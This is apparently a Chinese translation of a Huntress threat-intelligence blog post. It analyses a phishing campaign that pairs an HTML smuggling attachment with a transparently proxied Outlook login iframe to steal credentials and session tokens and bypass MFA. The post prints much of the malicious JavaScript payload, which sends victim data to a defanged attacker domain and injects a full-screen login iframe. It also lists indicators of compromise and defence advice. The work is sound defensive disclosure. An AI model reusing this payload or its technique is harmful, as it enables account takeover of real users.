太长不看
Huntress发现了一个大规模网络钓鱼活动的基础设施,其中可能包括一些新颖的网络攻击手法,这些手法结合了HTML隐藏技术、iframe注入以及通过透明代理进行会话劫持。这种技术使得攻击者能够在用户登录到Outlook登录门户的iframe时,窃取用户的登录凭证并绕过多重身份验证(MFA)。至少对我们来说,这种技术是前所未见的,如果我们之前见过类似的例子,非常希望能得到分享,欢迎留言讨论。我们已经向NameCheap提交了针对所有已识别域名的下架请求。可能还有更多未被发现的域名。在这篇博客的底部,你可以找到(IoCs)
背景
2024年5月21日,Huntress从我们的身份威胁检测与响应遥测数据中识别出三个感兴趣的域名。下面列出了这三个域名。有没有立刻引起你注意的地方?
hxxps://rnsnno.szyby[.]pro/
hxxps://rnsnno.kycmaxcapital[.]pro/
hxxps://rnsnno.2398-ns[.]pro/
这三个URL都使用了相同的子域名和顶级域名,但域名名称各不相同。进一步的研究发现,这三个域名是在5月21日被发现的前一天通过NameCheap注册的:
szyby[.]pro | kycmaxcapital[.]pro | 2398-ns[.]pro |
作为网络安全红队人员,我对这种利用透明代理的攻击手法再熟悉不过,自然而然地引起了高度警惕。不论是模拟攻击还是真实的恶意活动,NameCheap一直是黑客们最常使用的域名注册商之一。但单凭域名及其注册时间还无法判断是否属于真正的网络攻击活动,因此我们需要进一步深入调查。
对其中一台服务器网站根目录的探查发现,登录页面会重定向到 hxxps://example[.]com 这个用于 Web 应用程序演示的示例网站。
我们的SOC团队领导Max Rogers和威胁情报分析师TP5进行了深入的侦查,发现了与其中一个可疑域名(rnsnno.szyby.pro)相关的更多有趣信息。通过分析这个域名在VirusTotal上的关联信息,我们找到了一个HTML格式的恶意文件(sha256: 18470571777CA2628747C4F39C8DA39CA81D1686820B3927160560455A603E49),该文件在被触发时会联系包括rnsnno.szyby.pro在内的多个域名。这个恶意文件中包含的完整域名列表可以在附录中找到。
我们的安全运营中心(SOC)负责人 Max Rogers 和 威胁情报(CTI)分析师 TP5 进行了进一步调查,发现了与三个可疑域名之一 (rnsnno.szyby[.]pro) 相关的几个有趣实体。通过查看 VirusTotal 的关系仪表板,我们发现了一个 HTML 负载文件 (sha265: 18470571777CA2628747C4F39C8DA39CA81D1686820B3927160560455A603E49)。该文件在执行时联系了多个域名,包括 rnsnno.szyby[.]pro。所有在此负载文件中发现的域名列表已列在附录中。
等等……HTML 负载文件?什么情况???
HTML 走私
HTML 走私(HTML Smuggling)是一种被网络攻击者广泛使用的技巧,他们利用这种方法来绕过现代的安全防护措施。攻击者不是通过发送可执行文件来诱骗目标,而是发送一个HTML文件。当用户在自己的设备上打开这个HTML文件时,文件中的HTML和JavaScript会通过用户的网络浏览器传递一个隐藏的有效载荷。这个有效载荷通常事先经过编码或加密,然后在浏览器中动态地重新组合,并最终以下载的形式提供给用户。这种有效载荷往往是一些高级的有效载荷,比如用来窃取用户凭证的软件,或者是其他类型的恶意软件。HTML走私之所以受到攻击者的青睐,是因为它可以帮助有效载荷逃避那些基于文件扩展名进行拦截的安全技术。
一个典型的HTML走私流量的迹象是,在原始HTML文件中存在动态生成的编码或加密文本。JavaScript的document.write()函数经常用来在文档加载到客户端浏览器时动态解码和渲染HTML以及额外的JavaScript。这正是我们在打开那个引起我们关注的HTML文件时所遇到的情况:
这里值得注意的是:
- 第一次 document.write() 调用中的 base64 编码文本设置文档的标题。除了在“Outlook”一词的两个 O 中使用拉丁斜线 O unicode 字符外,它没有什么特别的:然而,从恶意软件分析的角度来看,第二个 document.write() 调用中使用的 base64 编码文本块是值得一看的(URL 已被修改):
<html lang="en"><title>Outløøk</title></html>
<div id=oyt>
</div>
</body>
<script>
document.getElementById("oyt").innerHTML = `<div id="loadingScreen"><div id="loadingLogo"><div id="container"><div id="containerShadow"></div><div
...[snip]...
function pemToUint8Array(pem) {
const base64String = pem
.replace('-----BEGIN PUBLIC KEY-----', '')
.replace('-----END PUBLIC KEY-----', '')
.replace(/\s+/g, '');
const byteArray = atob(base64String).split('').map(char => char.charCodeAt(0));
return new Uint8Array(byteArray);
}
function arrayBufferToBase64(buffer) {
let binary = '';
let bytes = new Uint8Array(buffer);
for (var i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return window.btoa(binary);
}
let sx = "hxxps://rnsnno.vcsar[.]pro/?eymmdgau";
const PUBLIC_KEY_PERM = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAynOl4t1+Seg3nPAGzBC2
BEZWeNGzNKMPWab/6Fy/1AdQJNNe9JKgsi1Hji+5vRxf5DRLn4XP5ldvZN2MfwaY
kww/N/njzuE//K8fOsm8/xjvHskc0zsjjnpwBQh9PlyRWhI0K3dIscZXoCiZXtrn
aLYRGSFC1MFm/OUF6lhckG67EUMqsPc7I5bJQaMG8tardzficKIFiE11kpe2R92q
vcOHTY2jqkjx6Ga23gLy+3AWvJPgQpdbE/+ZB6ecuhxnP48CR4dHsupuXYkQaX+q
Ebjt96Jpo0cyYyKZG01NFStoc88avqsY5EdqCNcFDKEQ8XYmzCKAWUU4NGePnmYw
vQIDAQAB
-----END PUBLIC KEY-----
`
const publicKey = pemToUint8Array(PUBLIC_KEY_PERM)
let el1 = document.getElementById("degag");
let tl1 = el1.innerText;
if (!tl1 || tl1 === eval(`'E'+'MAIL'+'_'+'CODE'`)) {
sx = sx
} else {
sx = sx + '&qrc=' + tl1
}
let lTime = 0
const eD = document.getElementById("errorId");
let xhr = new XMLHttpRequest();
window.crypto.subtle.importKey(
"spki",
publicKey,
{
name: "RSA-OAEP",
hash: "SHA-256"
},
false,
["encrypt"]
).then(publicKeyMaterial => {
const userData = JSON.stringify({ ip: '', userAgent: navigator.userAgent})
const encodedUserAgent = new TextEncoder().encode(userData);
return window.crypto.subtle.encrypt(
{
name: "RSA-OAEP"
},
publicKeyMaterial,
encodedUserAgent
);
}).then(encryptedUserAgent => {
const encryptedUserAgentBase64 = arrayBufferToBase64(encryptedUserAgent);
xhr.open('GET', sx, true);
xhr.setRequestHeader("accept", "application/json");
xhr.setRequestHeader("qrc-auth", encryptedUserAgentBase64);
xhr.send();
})
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
const cc = JSON.parse(xhr.responseText)
const jq = document.createElement('iframe');
if (cc.url) {
jq.width = '100%';
jq.height = '500px';
jq.setAttribute('sandbox', 'allow-scripts allow-presentation allow-same-origin allow-popups-to-escape-sandbox allow-forms allow-top-navigation-by-user-activation');
jq.setAttribute('allowfullscreen', 1);
jq.setAttribute('style', 'none')
jq.onload = function() {
if (lTime === 0) {
console.log('1 fired')
lTime +=1
} else {
console.log('2 fired')
jq.setAttribute('style', 'position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;');
// document.body.replaceChild(document.body.firstChild, jq);
}
};
document.body.appendChild(jq);
jq.src = cc.url
} else {
eD.innerText = cc.error? cc.error : 'ACCESS DENIED';
eD.style.display = "block";
}
} else {
eD.innerText = 'CONNECTION FAILED';
eD.style.display = "block";
}
}
};
</script>
<html>
在这些活动中,这段 JavaScript 脚本从远程服务器获取一个 iframe 并将其嵌入到页面上。当打开这个 HTML 文件时,用户首先会看到 Outlook 加载页面,然后是 Outlook 认证门户。
总结一下:这个 HTML 文件通过钓鱼手段发送给目标用户,下载后存储在受害者的计算机上。当文件被打开时,它会启动默认浏览器并渲染本地文件中的 HTML。这些 HTML 包含多个 document.write() 调用,这些调用会解码并将额外的 HTML 和 JavaScript 注入到文档对象模型中。当这个过程完成后,用户会看到 Outlook 登录页面,提示他们输入密码。有趣的是,用户名栏已经预填了目标用户的邮箱地址,因此他们只需输入密码。
但问题是:这如何被武器化呢?仔细检查后发现,Outlook 认证门户是通过 iframe 直接注入到浏览器中的:
检查文档渲染时的网络流量,发现了几个网络请求。其中许多请求指向可疑域名,但包含了合法的 Microsoft 基础设施 URI 组件。例如,有一个请求是 hxxps://rnsnno.pristineitems[.]pro/owa/?login_hint=[目标用户的电子邮件]
,这个 URL 包含可疑域名(rnsnno.pristineitems[.]pro),但也带有 OWA(Outlook Web App)路径和 login_hint 参数。
另一个请求的 URL 是 hxxps://rnsnno.vcsar[.]pro/?eymmdgau&qrc=[目标用户邮箱的 base64 编码]
我们通过将用户名注入到 ?qrc= URL 参数中,成功地让可疑基础设施生成了一个针对我们测试用户的新登录页面:
我们现在完全掌握了情况,这个测试结果基本上告诉了我们所有需要的信息。那么这里到底发生了什么呢?
HTML 走私 + 中间人攻击 = hacker
HTML 走私的有效载荷还有更多内容,但我们的初步分析已经足够得出明确的假设:
- HTML 有效载荷注入了合法的 Microsoft 认证门户的 iframe,这是用户打开 HTML 文件时看到的内容。
- 然而,它通过敌方控制的基础设施检索登录门户的 iframe。
- 因为登录门户使用了目标公司的实际 CSS 和品牌标识,我们认为这不仅仅是一个简单的克隆网站。相反,我们假设这个基础设施呈现的是透明代理的 iframe。我们将任意用户注入可疑域名的 URL 参数,并查看生成的登录页面,这足以证明这是一个代理,而不是克隆网站。
换句话说,受害者看到的登录页面是合法的 Outlook 登录页面,但它通过敌方控制的基础设施进行代理,这允许会话令牌盗窃和 MFA 绕过。如果受害者输入了他们的用户名、密码和 MFA 代码,攻击者可以通过中间人盗取这些信息。
我们对实际攻击的假设如下:
- 攻击者用 HTML 文件有效载荷进行钓鱼。
- 受害者在自己的计算机上打开它。
- HTML 走私有效载荷在客户端浏览器中渲染 JavaScript,获取并嵌入合法的 Outlook 登录门户的 iframe。
- 这个 iframe 通过攻击者控制的基础设施代理登录流量。
- 受害者用他们的用户名、密码和 MFA 登录,这生成一个会话令牌,然后被中间人盗取。
- 攻击者通过将被盗的令牌注入他们自己的浏览器,绕过 MFA 以受害者身份登录。
简而言之,这是一种 MFA 绕过的中间人透明代理钓鱼攻击,但使用 HTML 走私有效载荷和注入的 iframe 而不是简单的链接。这非常可怕。
坦白说,我曾进行过(授权、合法的)红队活动,使用 HTML 走私在目标终端安装信标,也进行过使用透明代理偷窃目标会话的活动。这两种战术都非常有效,但我从未想过将它们结合起来。说实话,这是一个非常聪明的 TTP,我想让尽可能多的人知道,以便我们能够彻底消除它。
对手工具
目前,Huntress 研究团队尚未完全确定此次活动所用的实际工具。然而,我们可以自信地排除 Evilginx,因为其诱饵模式、URL 参数模式和带密钥的有效载荷 HTML 文件都不同。可能这是某个较新的钓鱼即服务(Phishing as a Service)框架,但需要更多研究来得出结论。为了节省时间,Huntress 研究团队决定暂不确定工具,而是专注于让人们了解有效载荷机制及其工作原理。
即使这不是一种新的钓鱼技术,至少对 Huntress 来说是新的,这意味着它很可能对我们的合作伙伴也是新的。如果有研究人员对这种技术有更多具体信息,请直接评论,为什么一个双击666的都没有。
Huntress 在做什么?
到目前为止,我们已经向 NameCheap 提交了所有已识别基础设施的下架请求。NameCheap 通常会非常配合,所以我们预计这些敌方基础设施将很快被消除。但还会有更多出现,所以我们正在利用我们的遥测来提交更多请求。
如何防御这种攻击
HTML 文件非常危险。如果你没有预料到会通过电子邮件收到 HTML 文件,请谨慎处理并联系你的 IT/安全部门。永远不要在未经验证是否是正确的 URL 和域(例如 login.microsoftonline.com 或等效域)之前输入你的凭据。
如果你怀疑你或你认识的人被 HTML 走私攻击击中,即使你不是 Huntress 的保护客户,也请直接给我发邮件(matt.kiely[@]huntresslabs.com)。我们担心这种攻击比我们已经观察到的更为广泛,任何信息都将帮助我们对抗这种新的身份攻击手段。
IOC
IoC Type | Indicator | Hash |
---|---|---|
HTML Smuggling Payload | [REDACTED ORG NAME] remittance 05212024.html | 18470571777CA2628747C4F39C8DA39CA81D1686820B3927160560455A603E49 |
AitM/Phishing Infrastructure | hxxps://rnsnno.2398-ns[.]pro/ | N/A |
AitM/Phishing Infrastructure | hxxps://rnsnno.kycmaxcapital[.]pro/ | N/A |
AitM/Phishing Infrastructure | hxxps://rnsnno.szyby[.]pro/ | N/A |
附加域名
注意:这些域并非全部被确认为恶意域,其中许多是合法服务。这些列出的域是在 HTML 走私负载中找到的,并用于上下文和字符串匹配。
AMS-efz.ms-acdc.office[.]com
aadcdn.msauth[.]net
aadcdn.msftauth[.]net
aadcdn.msftauthimages[.]net
autologon.microsoftazuread-sso[.]com
bovdrrqkblhbfk[.]local
clientservices.googleapis[.]com
content-autofill.googleapis[.]com
cs1100.wpc.omegacdn[.]net
edgedl.me.gvt1[.]com
identity.nel.measure.office[.]net
ihscshtfplb[.]local
login.live[.]com
ooc-g2.tm-4.office[.]com
outlook.ms-acdc.office[.]com
outlook.office365[.]com
part-0039.t-0009.t-msedge[.]net
passwordreset.microsoftonline[.]com
r3.i.lencr[.]org
r4.res.office365[.]com
rnsnno.szyby[.]pro
rnsnno.vcsar[.]pro
scxgcytrl[.]local
shed.dual-low.part-0039.t-0009.t-msedge[.]net
tse1.mm.bing[.]net
x1.i.lencr[.]org